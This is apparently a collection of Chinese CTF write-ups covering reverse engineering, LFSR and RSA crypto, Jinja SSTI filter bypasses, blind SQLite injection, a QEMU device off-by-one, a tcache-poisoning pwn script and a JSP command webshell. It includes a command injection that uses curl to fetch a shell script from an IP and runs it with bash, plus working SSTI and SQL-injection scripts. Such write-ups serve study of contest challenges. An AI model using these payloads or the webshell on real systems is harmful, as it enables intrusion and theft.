对call PyEval_EvalCode下断点(break *0x402B5B),当R14 寄存器保存的是'main'字串地址时dump main marshal(https://gist.github.com/stecman/3751ac494795164efa82a683130cabe5)
define dump_pyc
eval "set $handle = fopen(\"main.marshal\", \"w\")"
call (void) PyMarshal_WriteObjectToFile($rdi, $handle, 4)
call fclose($handle)
end
command
dump_pyc "./"
continue
end
然后用下面的脚本将main.marshal还原成py
from __future__ import print_function
import marshal
import struct
import sys
import time
import uncompyle6
def _pack_uint32(val):
""" Convert integer to 32-bit little-endian bytes """
return struct.pack("<I", val)
def code_to_bytecode(code, mtime=0, source_size=0):
"""
Serialise the passed code object (PyCodeObject*) to bytecode as a .pyc file
The args mtime and source_size are inconsequential metadata in the .pyc file.
"""
# Get the magic number for the running Python version
if sys.version_info >= (3,4):
from importlib.util import MAGIC_N
一道lfsr
审计代码可以知道要解出flag只需要还原回R1和R2就行了
题目所给的输出是两个寄存器输出的combine, 但是这个combine存在缺陷, 当输出为0的时候, 只有一种情况
再看R1,R2, 都是18位的, 那么要还原回初始的状态也就是R1和R2, 只需要各自的前18位输出就行了
但现在所得到的输出是combine以后的, 可以尝试爆破R1和R2各自的前18位输出来还原R1和R2
但是这样就需要爆破次 显然不可能(说实话后面算出结果发现R1和R2都很小 跑个半天估计真可以
而combine的前18位输出里面有7个0, 利用最开始说的缺陷可以得到R1和R2分别的前18位输出的7位
那么爆破的次数变为大概400万次,十多分钟就行了
from Crypto.Cipher import AES
from hashlib import sha512
def lfsr(R, mask):
output = (R << 1) & 0xffffff
i = (R & mask) & 0xffffff
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
output ^= lastbit
return (output, lastbit)
def relfsr(out18,mask):
i = 17
R = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
while
三层的RSA, 一层一层解出来就行了
参考这里
N有多因子的RSA,且这些因子都跟其中一个因子有关
这样就能得到这个因子跟N的关系, 从而得到该因子的一个近似
然后根据这近似来寻找这个因子, 找到了就可以得到其他因子了
2020祥云杯 RSAssss 一样的, 条件还更多了
直接费马分解再利用gcd得到四个因子
利用费马小定理可以知道,
求可以得到p
因为s是2^10位, 简单爆破就能出来了
这样就能得到e了
from Crypto.Util.number import *
from gmpy2 import gcd,invert as inverse_mod,next_prime,iroot
# LEVEL 3
R = 81225738828166640599054154023183465870678960906769673605358084529196871174429427936591822589995476552044227730868809310992934103731850597399114246762836121101348301079296663951503688072299542357013093324718850936925265954204973634470836187733828189312553819810470405246669124171178070485118436102895117354417
C4 = 22238585749689335043198360403653248049710943304594623939441271714322821476
ssti, ban [ ] ' " _
# coding=utf-8
import requests
payload = '{{((((((request|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(1))|attr(request.cookies.d))())|attr(request.cookies.c))(40))(request.cookies.file).read()}}'
headers = {'Cookie': 'a=__class__;b=__mro__;c=__getitem__;d=__subclasses__;file=flag.txt'}
url = 'http://121.37.172.67:30764/success?msg={}'.format(payload)
r = requests.get(url, headers=headers)
print(r.text)
0-9a-z()$> 等来执行命令
用八进制绕过 ,空格就$IFS,
弹shell
cmd=$(printf$IFS"\57")bin$(printf$IFS"\57")bas"h"$IFS$(printf$IFS"\57")tmp$(printf$IFS"\57")123
cmd=cur"l"$IFS$9$(printf$IFS"\64")7$(printf$IFS"\56")92$(printf$IFS"\56")94$(printf$IFS"\56")194$(printf$IFS"\57")shell>$(printf$IFS"\57")tmp$(printf$IFS"\57")123
flag运行90s出结果,有一个定时任务会kill进程,detect.py可写,直接覆盖就不会执行kill进程 , /readflag 等90s得到flag
{{ 不能用,用{% ,不出网用盲注,config,request, . ,\' , g ,u 空格等ban了
py脚本报错迷, 用go写就没事坑
func main() {
flag:=""
for i := 0; i < 40; i++ {
for _, j := range "abcdef1234567890" {
fmt.Println(string(j))
payload := `{%%0aif%0a"fla\x67{` +flag+string(j)+`"%0ain%0a((env|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5f\x67lobals\x5f\x5f")|attr("\x67et")("\x5f\x5fb\x75iltins\x5f\x5f"))|attr("\x67et")("open")("fla\x67\x2etxt"))|attr("read")()%0a%}123{%%0aendif%0a%}`
r, _ := grequests.Get(`http://121.37.160.91:32310/success?msg=`+payload,
&grequests.RequestOptions{})
fmt.Println(r.String())
ok,_:=regexp.Match("123",[]byte(r.String()))
if ok{
flag+=string(j)
fmt.Println(flag)
break
}
}
}
}
通过if来判断不是mysql ,ifnull看出是sqlite
sql错误会500, 报错盲注
import sys
import requests
url='http://124.70.199.12:31534/login'
sql="select name from sqlite_master where type='table' and name!='comment' and name!='users'"
sql="select sql from sqlite_master where name='users' "
sql="select username from users"
sql="select password from users"
#sqlite_not_safe
#sql="select sql from sqlite_master where name='comment' "
#sql="select group_concat(password) from users "
payload="a' or abs(ifnull(nullif(1, unicode(substr(( {}),{},1))={}),0x8000000000000000)) or '0"
h=''
for i in range(1,10000):
for j in range(30,129):
t=payload.format(sql,str(i),str(j))
print(t)
r=requests.post(url,data={
'username':t,
'password':'a',
})
if r.status_code==500:
h+=chr(j)
print(h)
break
密码sqlite_not_safe 登录
然后又一个sql注入, {{}}有SSTI,直接union select SSTI就行
https://uaf.io/exploitation/2018/11/22/Hitb-2017-babyqemu.html
基本是这题的改编题,实现了一个mmio设备。
漏洞在zzz_mmio_write
进行物理内存读写的地方,发现如果off为1,size为0x1000的时候可以off by one改写一个字节。
else if ( off == 0x60 )
{
state1 = (state *)state->this;
if ( (state1->hw_addr & 0xFFF) == 0 )
{
size = state1->size;
buf_off = (unsigned __int16)state1->buf_off;
size0 = size & 0x7FFE;
if ( (int)(buf_off + (size & 0x7FFE) - 1) <= 0x1000 )
{
rw_func = state->field_19F8;
va = &state1->read_area[buf_off];
if ( (size & 1) != 0 )
rw_func(state1->hw_addr, (__int64)va, size0, 1LL);// cpu_physical_memory_rw
else
rw_func(state1->hw_addr, (__int64)va, size0, 0LL);// cpu_physical_memory_rw
if ( (__int16)state1->size < 0 )
((void (__fastcall *)(state *, __int64))pci_set_irq)(state1, 1LL);
}
}
}
逆向出来的state结构体大概长这样,可以看到读写buf的后面接着this指针和一个函数指针。off by one正好可以把this指针的最低位改掉,我们只
简单UAF题目,本质还是菜单题,只是CPP的逆向有点难看。分析清楚逻辑就能发现1选项删除chunk之后还能写入一个指针。直接tcache posion就可以了。
因为需要泄露libc地址所以可以先泄露heap地址然后进行一次tcache posion来改写heap上面的一个chunk size,把0x21改成0x421;当然这样做之前要分配好一堆chunk来占位。
泄露完libc地址再tcache posion打freehook就可以了。
# flag{U5e_uN1qu3_p7R_C0r3Ct1Y_P1s}
from pwn import *
import re
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = "debug"
env = {'LD_PRELOAD': ''}
if len(sys.argv) == 1:
p = process('./chall')
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data
上传普通的jsp一句话木马会被检测,github上找一个jsp webshell绕过一下。
<%@ page import="java.util.*,java.io.*"%> <% %>
<HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION="">
<INPUT TYPE="text" NAME="comment">
<INPUT TYPE="submit" VALUE="Send">
</FORM> <pre>
<%
if ( request.getParameter( "comment" ) != null )
{
out.println( "Command: " + request.getParameter( "comment" ) + "<BR>" );
Process p = Runtime.getRuntime().exec( request.getParameter( "comment" ) );
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream( in );
String disr = dis.readLine();
while ( disr != null )
{
out.println( disr ); disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
© 2020 GitHub, Inc.
@ https://github.com/JoyChou93/webshell/blob/master/jsp/cmd.jsp
然后执行命令即可